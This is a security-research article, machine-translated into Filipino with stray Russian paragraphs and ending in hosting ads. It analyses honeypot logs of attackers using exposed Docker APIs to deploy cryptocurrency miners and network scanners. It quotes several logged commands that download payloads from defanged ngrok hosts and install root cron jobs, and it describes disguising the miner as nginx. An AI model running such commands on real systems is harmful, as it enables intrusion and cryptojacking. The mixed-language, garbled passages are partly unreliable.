Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency

Sinuri namin ang data na nakolekta ng mga container ng honeypot—ginawa ang mga ito para sa pagsubaybay sa pagbabanta—at natuklasan ang makabuluhang aktibidad mula sa mga hindi ginusto o hindi awtorisadong mga minero ng cryptocurrency na naka-deploy bilang mga rogue na container gamit ang imahe ng Docker Hub na na-publish ng komunidad. Ginagamit ang larawan bilang bahagi ng isang serbisyong naghahatid ng malware sa pagmimina ng cryptocurrency.

Bilang karagdagan, ang mga programa para sa pagtatrabaho sa mga network ay naka-install upang tumagos sa mga bukas na kalapit na lalagyan at mga application.

Iniiwan namin ang aming mga honeypots kung ano-ano, kasama ang kanilang mga default na setting, nang walang anumang mga hakbang sa seguridad o kasunod na pag-install ng karagdagang software. Pakitandaan na ang Docker ay may mga paunang rekomendasyon sa pag-setup upang maiwasan ang mga error at simpleng kahinaan. Gayunpaman, ang mga honeypot na ginagamit namin ay mga container na idinisenyo upang matukoy ang mga pag-atake na nagta-target sa containerization platform, hindi ang mga application sa loob ng mga container.

Ang nakitang nakakahamak na aktibidad ay kapansin-pansin din dahil hindi ito nangangailangan ng mga kahinaan at independyente sa bersyon ng Docker. Ang paghahanap ng maling pagkaka-configure, at samakatuwid ay nalantad, ang imahe ng lalagyan ay ang lahat ng kailangan ng mga umaatake upang mahawahan ang maraming nakalantad na mga server.

Ang unprivileged Docker API ay nagbibigay-daan sa user na magsagawa ng malawak na hanay ng mga koponan, kabilang ang pagkuha ng listahan ng mga tumatakbong container, pagkuha ng mga log mula sa isang partikular na container, pagsisimula, paghinto (kabilang ang sapilitang), at maging ang paggawa ng bagong container mula sa isang partikular na larawan na may mga tinukoy na setting.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Sa kaliwa ay ang paraan ng paghahatid ng malware. Sa kanan ay ang kapaligiran ng umaatake, na nagbibigay-daan para sa malayuang pag-deploy ng larawan.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Pamamahagi ng bansa ng 3762 pampublikong Docker API. Batay sa isang paghahanap sa Shodan noong Pebrero 12, 2019.

Attack chain at mga variant ng payload

Ang mga honeypot ay hindi lamang ang paraan upang matukoy ang malisyosong aktibidad. Ipinapakita ng data ng Shodan na ang bilang ng mga nakalantad na Docker API (tingnan ang pangalawang tsart) ay tumaas mula noong nag-imbestiga kami ng maling na-configure na container na ginamit bilang tulay para sa pag-deploy ng software ng pagmimina ng Monero. Noong nakaraang Oktubre (2018, available ang pinakabagong data) maaari mong tingnan ito ng ganito tinatayang tagasalin) mayroon lamang 856 na bukas na mga API.

Ang pagsusuri sa mga log ng honeypot ay nagsiwalat na ang paggamit ng imahe ng lalagyan ay nauugnay din sa paggamit ng ngrok, isang tool para sa pagtatatag ng mga secure na koneksyon o pagpapasa ng trapiko mula sa mga puntong naa-access ng publiko patungo sa mga tinukoy na address o mapagkukunan (hal., localhost). Nagbibigay-daan ito sa mga umaatake na dynamic na lumikha ng mga URL kapag naghahatid ng mga payload sa isang bukas na server. Nasa ibaba ang mga halimbawa ng code mula sa mga log na nagpapakita ng pang-aabuso sa serbisyo ng ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tulad ng nakikita mo, ang mga na-upload na file ay dina-download mula sa patuloy na pagbabago ng mga URL. Ang mga URL na ito ay may maikling petsa ng pag-expire, kaya hindi mada-download ang mga payload pagkatapos mag-expire ang mga ito.

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

Ang script ng dropper ay nagtatakda ng dalawang variable na gagamitin sa paglaon para i-deploy ang cryptocurrency na minero. Ang variable ng HOST ay naglalaman ng URL kung saan matatagpuan ang mga nakakahamak na file, at ang variable ng RIP ay ang filename (talagang hash) ng minero na i-deploy. Nagbabago ang variable ng HOST sa tuwing nagbabago ang variable ng hash. Sinusubukan din ng script na i-verify na walang ibang mga minero ng cryptocurrency ang tumatakbo sa server na inaatake.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Mga halimbawa ng mga variable ng HOST at RIP, pati na rin ang isang snippet ng code na ginamit upang suriin na walang ibang mga minero ang tumatakbo

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

Ang script ng paghahanap ay mayroon ding sariling natatanging tampok. Gumagamit ito ng parehong serbisyo ng URL upang i-deploy ang mga kinakailangang tool. Kabilang dito ang zmap binary, na ginagamit upang mag-scan ng mga network at makakuha ng listahan ng mga bukas na port. Nagda-download din ang script ng isa pang binary na ginamit upang makipag-ugnayan sa mga natuklasang serbisyo at kunin ang mga banner mula sa kanila upang matukoy ang karagdagang impormasyon tungkol sa natuklasang serbisyo (tulad ng bersyon nito).

Paunang tinukoy din ng script ang ilang hanay ng network para sa pag-scan, ngunit depende ito sa bersyon ng script. Tinutukoy din nito ang mga target na port mula sa mga serbisyo—sa kasong ito, Docker—bago patakbuhin ang pag-scan.

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker client 1.16, at Apache CouchDB. Kung ang isang na-scan na server ay tumugma sa alinman sa mga ito, ito ay nai-save sa isang text file, na maaaring magamit ng mga umaatake sa ibang pagkakataon para sa karagdagang pagsusuri at pag-hack. Ang mga text file na ito ay ina-upload sa mga server ng mga umaatake sa pamamagitan ng mga dynamic na link. Nangangahulugan ito na ang bawat file ay may hiwalay na URL, na nagpapahirap sa kasunod na pag-access.

Ang ginamit na vector ng pag-atake ay isang imahe ng Docker, tulad ng makikita sa sumusunod na dalawang snippet ng code.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Ang nasa itaas ay pagpapalit ng pangalan sa isang lehitimong serbisyo, at sa ibaba ay kung paano ginagamit ang zmap upang mag-scan ng mga network.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Sa itaas ay mga paunang natukoy na hanay ng network, sa ibaba ay mga partikular na port para sa paghahanap ng mga serbisyo, kabilang ang Docker

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Ang screenshot ay nagpapakita na ang alpine-curl na imahe ay na-download nang higit sa 10 milyong beses.

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать Larawan ng dockerGaya ng nakikita mo sa nakaraang figure, ang larawang ito ay nai-download na nang mahigit 10 milyong beses. Ang mataas na bilang ng mga pag-download ay maaaring magpahiwatig na ang larawang ito ay ginagamit bilang isang entry point; ang larawang ito ay na-update mahigit anim na buwan na ang nakalipas; ang ibang mga larawan sa repositoryong ito ay hindi na-download nang kasingdalas ng mga user. Sa Docker entry point — isang hanay ng mga tagubilin na ginagamit upang i-configure ang isang lalagyan para sa paglulunsad. Kung ang entry point ay hindi na-configure nang tama (halimbawa, ang container ay naiwang naka-expose sa internet), ang larawan ay maaaring gamitin bilang attack vector. Magagamit ito ng mga attacker para maghatid ng mga payload kung makatuklas sila ng hindi sinusuportahan, hindi wastong na-configure, o nakalantad na container.

Mahalagang tandaan na ang larawang ito (alpine-curl) mismo ay hindi nakakahamak, ngunit tulad ng makikita sa itaas, maaari itong magamit upang magsagawa ng mga nakakahamak na function. Ang mga katulad na larawan ng Docker ay maaari ding gamitin para sa mga malisyosong layunin. Nakipag-ugnayan kami sa Docker at nakikipagtulungan sa kanila sa isyung ito.

Rekomendasyon

Maling setting labi isang palaging problema para sa maraming kumpanya, lalo na sa mga nagpapatupad DevOps, na nakatuon sa mabilis na pag-unlad at paghahatid. Ito ay pinalala ng pangangailangang sumunod sa mga regulasyon sa pag-audit at pagsubaybay, ang pangangailangang subaybayan ang privacy ng data, at ang napakalaking gastos ng hindi pagsunod. Ang pagsasama ng security automation sa development lifecycle ay hindi lamang nakakatulong na matukoy ang mga butas sa seguridad na maaaring hindi mapansin ngunit binabawasan din ang mga hindi kinakailangang workload, tulad ng pagpapatakbo ng mga karagdagang software build para sa bawat natukoy na kahinaan o maling configuration pagkatapos ng pag-deploy ng application.

Itinatampok ng insidenteng tinalakay sa artikulong ito ang pangangailangang tugunan ang seguridad sa simula, kasama ang mga sumusunod na rekomendasyon:

  • Para sa mga administrator at developer ng system: Palaging suriin ang iyong mga setting ng API upang matiyak na naka-configure ang mga ito upang tumanggap lamang ng mga kahilingan mula sa isang partikular na server o panloob na network.
  • Sundin ang prinsipyo ng hindi bababa sa pribilehiyo: tiyaking nilagdaan at na-verify ang mga larawan ng container, higpitan ang pag-access sa mga kritikal na bahagi (serbisyo ng paglulunsad ng container), at i-encrypt ang mga koneksyon sa network.
  • Sundan mga rekomendasyon at paganahin ang mga mekanismo ng seguridad, tulad ng mula sa Docker at built-in mga tampok sa kaligtasan.
  • Gumamit ng awtomatikong pag-scan ng mga runtime at mga larawan upang makakuha ng karagdagang impormasyon tungkol sa mga prosesong tumatakbo sa loob ng isang container (halimbawa, upang matukoy ang panggagaya o maghanap ng mga kahinaan). Ang kontrol sa aplikasyon at pagsubaybay sa integridad ay nakakatulong na makakita ng mga maanomalyang pagbabago sa mga server, file, at mga lugar ng system.

Tinutulungan ng Trendmicro ang mga koponan ng DevOps na bumuo ng ligtas, mabilis na mag-deploy, at tumakbo kahit saan. Trend Micro Hybrid Cloud Security Naghahatid ng malakas, na-optimize, at automated na seguridad sa loob ng pipeline ng DevOps ng isang organisasyon at nagbibigay ng maraming paraan upang maprotektahan laban sa mga banta. XGen upang protektahan ang mga pisikal, virtual, at cloud na workload sa runtime. Nagdaragdag din ito ng proteksyon sa lalagyan na may Malalim na Seguridad и Deep Security Smart Check, na nag-i-scan ng mga larawan ng container ng Docker para sa malware at mga kahinaan sa anumang punto sa pipeline ng pag-develop upang maiwasan ang mga banta bago i-deploy ang mga ito.

Mga palatandaan ng kompromiso

Mga kaugnay na hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Sa video course sa Docker Ang mga praktikal na tagapagsalita ay nagpapakita kung aling mga pagsasaayos ang dapat gawin muna upang mabawasan ang posibilidad ng o ganap na maiwasan ang sitwasyong inilarawan sa itaas. At noong Agosto 19-21, sa online intensive Mga Tool at Cheat ng DevOps Maaari mong talakayin ang mga ito at ang mga katulad na isyu sa seguridad sa mga kasamahan at nagsasanay na mga guro sa isang roundtable na talakayan, kung saan maaaring ipahayag ng lahat ang kanilang mga opinyon at makinig sa mga pasakit at tagumpay ng mga may karanasang kasamahan.

Pinagmulan: www.habr.com

Bumili ng maaasahang pagho-host para sa mga site na may proteksyon ng DDoS, mga server ng VPS VDS 🔥 Bumili ng maaasahang website hosting na may proteksyon ng DDoS, VPS VDS servers | ProHoster